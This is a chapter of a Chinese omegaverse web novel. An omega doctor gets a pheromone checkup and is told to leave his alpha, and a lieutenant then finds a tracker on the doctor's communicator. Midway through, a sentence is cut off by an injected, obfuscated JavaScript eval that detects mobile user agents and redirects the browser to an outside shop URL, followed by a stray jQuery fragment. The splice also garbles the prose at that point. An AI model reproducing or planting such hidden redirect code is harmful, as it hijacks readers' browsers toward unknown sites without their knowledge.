“...夏漓?”程念走过来拍拍他的肩膀,“发什么愣呢?”
夏漓回了回神,眼神聚焦,手还放在仪器上,他照常点了几下按钮,机器仍旧没有反应,才说:“这个坏掉了。”
程念看着他操作一通,忍不住笑,“我知道啊,主任不是说了吗,昨天就不好使了,修理的人还没来呢。”
夏漓不好意思地笑了下:“我没太注意。”
“你有点不在状态呢。”
程念明显看出他的不对劲,问他怎么了,夏漓也只是摇摇头,说自己没休息好。
他的确没怎么睡好,精神不佳。
程念听完表示很抱歉,是她打扰了夏漓的睡眠。
“不是因为你。”夏漓说,让她别放在心上。
他不想说,程念也就有分寸地不再多问。
程念冲他笑了一下,从口袋里掏出两包小零食递给他,安慰道:“开心点吧,反正快下班了。”
夏漓说谢谢,又说自己没有不开心。
这一阵他没再和厉珣见过面。
联邦正在沉浸在选举的氛围里,各路政客费尽心思给自己的选举宣传。
夏漓从来没有认真听过他们虚伪的讲话,也不感兴趣,只是听到病房里很多人都在讨论,但他没有加入过话题。
他在军区第一医院生活得很好,与病人也相处融洽。另外一点是,厉珣没有再来过这里。
一方面说明上校没有受伤。
另一方面,上校有自己的私人医生,用不着特意来第一医院检查,尤其在他的潮热症还没好的情况下,信息素稳定值还存在很大的问题。
但夏漓没有,所以每个月,夏漓都会给自己做信息素筛查——在另外一家私立医院。
夏漓不会选择自己工作的地方,熟人太多,以至于个人信息并不能做到完全保密。
给他做检查的医生是一位女性beta,姓高,年龄稍大,戴着银框边方形眼镜,说起来话来比较严肃,却也足够专业。
夏漓习惯每次都挂她的号。
高医生对夏漓也有印象,这次做完检查后,对着结果看了看,分析道:“这个月信息素激素较为正常,是降下来了。”
之前每个月来检查,夏漓的激素值总是达到很高的程度,她只能提醒omega和他的伴侣在某些方面需要节制一些,长期保持这样的信息素水平会造成omega发情期紊乱不规律,对身体不好。
报告显示,omega的发情期已经呈现出不规律的迹象,很大一部分原因是被alpha信息素诱导发情的,与生理上的自然发情相悖,不是一件好事。
她看向夏漓,眉头没有松过:“你身体各方面情况都不算好,没有达到平均值,免疫力也差,我之前说让你好好休息,调养过来,你是不是也没听进去?”
夏漓坐在那里,垂着眼答应,听到最后,才眨巴两下眼睛,解释:“有在休息的。”
高医生显然是没有相信他的说辞,看他这回又是一个人来的,实在不满意道:“你的alpha一次也没有陪你来过,是否太不负责任了?”
高医生在这里见过太多可怜的omega,alpha始乱终弃、到处乱搞、逃脱责任的事件比比皆是,她对多数alpha都没有什么好感,这不是刻板印象,是每天都会发生的事实。
她之前提了一些夏漓与他的alpha的注意事项,当时夏漓没有否认什么,她也就继续默认夏漓有关系稳定的alpha,尽管他们并没有实现完全标记。
“...他比较忙。”
“忙?”高医生冷冷道,“能忙到联邦首长那种程度?”
夏漓默默想,虽然没有到那种程度,但也差不多了。
不过上校并没有什么义务陪他来做检查,也没必要,这算夏漓自己的事情。
“在我看来,你们没有变成终身伴侣,他也没有尽到alpha的责任,长期下去身体会越来越差,”高医生不明白夏漓图什么,以长辈的姿态委婉提醒,“换一个合适的伴侣会更好。”
夏漓低头摆弄几下自己的手指,也没说什么。
高医生只是适时提出自己的建议,说完话题便又转向夏漓的身体状况。
这次omega也是很顺从地答应下来,虽然不一定会照做。
临走之前,高医生给夏漓开了一些增加免疫力和身体素质的营养剂,再次嘱咐他要重视自己的身体情况,尽量与他的alpha保持点距离,尊重自然发情期。
夏漓表示感谢。
他踌躇一下,又问:“高医生,之前,那个避孕药,可以再开一份吗?”
高医生眉头皱得紧,不敢相信:“你吃完了?”
“...没剩多少了,我想备着。”
omega乖乖巧巧的模样,让高医生实在忍不下心说太重的话。
那个避孕药副作用比较小,但不是完全没有风险,不适合长期吃,而夏漓身体本来就差。
她更坚定了夏漓应该换一个alpha的念头。
“我不建议你继续吃,”高医生看向他的眼神足够冷静,“比起药物,避孕套和医用稳定剂才是你们需要的。”
夏漓点头,向医生道谢,退了出去。
然后他一个人在三楼的休息椅上坐了很久,手边是几盒寻常的营养剂。
他的对面,坐着一位大着肚子的omega,手里拿着单子,omega有些过于瘦了,所以鼓起的肚子尤其明显。omega的身边,是一脸不太耐烦的alpha,似乎厌倦这频繁的检查,始终没看omega一眼,焦急想要离开。
夏漓忍不住想,自己的父母是否也是这样的存在。
索菲娅修女没有隐瞒过他们的身世,他们有知情权,夏漓知道自己是被抛弃的。
他不记得父母的模样,变得很模糊很模糊。
但夏漓可以确定,他们的结合并不是因为爱,所以自然也不会去爱这个结晶。
宝宝出生之前,怎么会知道父母是否相爱过。
他们只是被迫出生,再承受之后的一切,包括被抛弃。
夏漓安安静静坐在这里,再一次感受到了被抛弃的心情。
以及痛苦。
他明明什么都没有做。
...为什么。
夏漓起身离开,穿过医院长长的廊道,下楼梯的时候,见到一抹不算陌生的身影,对方戴着口罩,刚从楼梯口上来。
擦肩而过时,才慢半拍反应过来那应该是越淙的beta兄长——贺沧。
夏漓转身看他,背脊单薄,中领遮挡住的后脖颈,还是有一点红痕露了出来。
夏漓感到熟悉,直觉告诉他,那是alpha的咬痕。
军队里组织集体体检,人数之多,持续时间之长,把第一医院的医生们忙坏了,几乎不得休息。
最后两天是长官们检查的时间,相比于给普通士兵检查,人要少些,但并不会感到多轻松。
他们身份不同,医生们总要保持一个毕恭毕敬的态度,各个项目的筛查也更细致,免得出什么差错。
夏漓倒是一视同仁,都一样。
他太累了,没有功夫去刻意讨好那些人。
军队里的长官都来了,听其他医生说,没有见到厉珣上校的身影。
“他有自己的医生,来不来都无所谓,体检对上校来说不太需要。”
“话是这么说,只不过是想见一见上校嘛,最近都很少上新闻了。”
“我怎么记得以前军队例行体检的时候,上校也参加过的,不过他各项指标都达标,没什么大问题。”
“那都多久以前了,”有个医生仔细算了算,“是不是赫斯提亚战役之后,就没再一起体检过。”
“...不对吧,我感觉是从格鲁战场回来以后,就不怎么在我们医院检查了。”
“哎,说起来,我想到一件事,你们还记不记得,当时格鲁战役结束后,上校有半个月都没出现,说是受伤养病。”
“那也是事实啊,格鲁地带当时的确被偷袭了,上校后来出现的时候手臂不还缠着绷带吗,估计别的地方也受伤了,只是没对外公开,当时战事不占上风,怕引
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724570|208803||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
起公民们不好的情绪。”
“嗯...也是,不过还是感觉有点奇怪啦...”
难得有空闲可以休息一下,大家聚在一起吃点东西补充体力,顺便聊聊天。
这次的体检差不多结束了。
夏漓吃了两片涂了果酱的面包,就去拿越淙中尉的体检报告。
越淙还没走,夏漓把报告上的内容挑重点给他说了一遍,有一项结果显示alpha近期的信息素水平也是不太稳定的样子,近两周有剧烈波动现象。
越淙看起来不太像是控制不好自己信息素的样子。
夏漓看到这个结果,不禁挑眉,突然想起那天在私人医院见到的贺沧。
夏漓准备把报告递给越淙的时候,又收回来,问:“你哥两周前去了家私立医院,不会是因为你吧?”
越淙眉头皱了皱,“他去医院了?检查什么?”
“不知道,”夏漓把体检报告还给他,“那是他的隐私。”
夏漓没有打探别人隐私的爱好。
两人这会儿刚好有空,夏漓想着顺便把生日礼物提前给越淙。
礼物在宿舍,越淙本来打算在楼下等,但又想继续聊聊贺沧的事情,就跟着一块儿上去。
“你咬他了?”夏漓问。
beta不能被标记,咬也是没用的。
越淙没有对这个问题正面回答,算是默认了,只说:“他要跟别人订婚。”
语气严肃得仿佛是第一次知道这件事。
“...你才知道?”夏漓表示很意外,“我之前给你写信,里面提到过这件事啊。”
那时候只是听到过这样的说法,貌似是贺家长辈安排的,夏漓写信时问了一嘴,想要求证越淙是不是真的,又问自己要不要随礼。
越淙反问:“什么信?”
夏漓有些僵硬,“收到你寄的宝石后,我就给你写信了...你没收到我的信?”
“没有,我不知道。”
所以连带着他也不知道贺沧即将订婚的消息,而外界对他隐瞒得很严实。
难怪夏漓没有收到回信,还以为是他懒得回呢。
夏漓不知道为什么没有把信寄出去。
哪里出了差错?难道中间转辗给弄丢了?
“我回去查一下。”
“没事,可能路上弄丢了吧。”
夏漓也没细想,已经过去那么久了,不用在意。
他去把包装好的礼物找出来,又问贺沧订婚的话,越淙打算怎么办。
alpha冲动之下去咬beta的后颈几乎可以算是火上浇油了,这下关系恐怕是更加复杂。
越淙没说话,他也不知道。
贺家一直对他很好,越淙正在犹豫要不要直接把这场婚事搅黄,但又觉得会对不起两位长辈。
越淙心烦得要命。
他站在窗边,发现夏漓这小宿舍的视野还行,能观赏到一点景色。窗台上种了几株绿植,摆不下,桌上也放了两盆。
越淙在夏漓有些杂乱的桌前停留。
看到摘在一旁的即时通讯仪器,想起来自己还没有加过夏漓的代码进去。
夏漓当初是志愿军,不归越淙中尉管,也不在一片作战区域,自然是没办法联系的。
越淙给夏漓说了声,得到允许后,拿起他的通讯仪器,添加代码。
里面可以直接查询到夏漓自己的代码和身份信息,早已从志愿医疗兵变成军区第一医院夏医生了,更换信息也有记录。
看得出来夏漓使用不多,并没有完全把这个精细仪器的作用发挥出来。
越淙摆弄了一阵,帮他调了一些设定和功能。
不过很快,他手上动作顿住,忽然意识到一点不对劲。
夏漓走过来,看他鼓捣半天。
“还没弄好?”
越淙抬眸,脸上神情不算好。
“夏漓,你没发现,你的通讯被安装了追踪定位吗?”
并且没有解除的权限。
越淙是联邦军队的中尉,身份不算低,也没有资格解除掉。?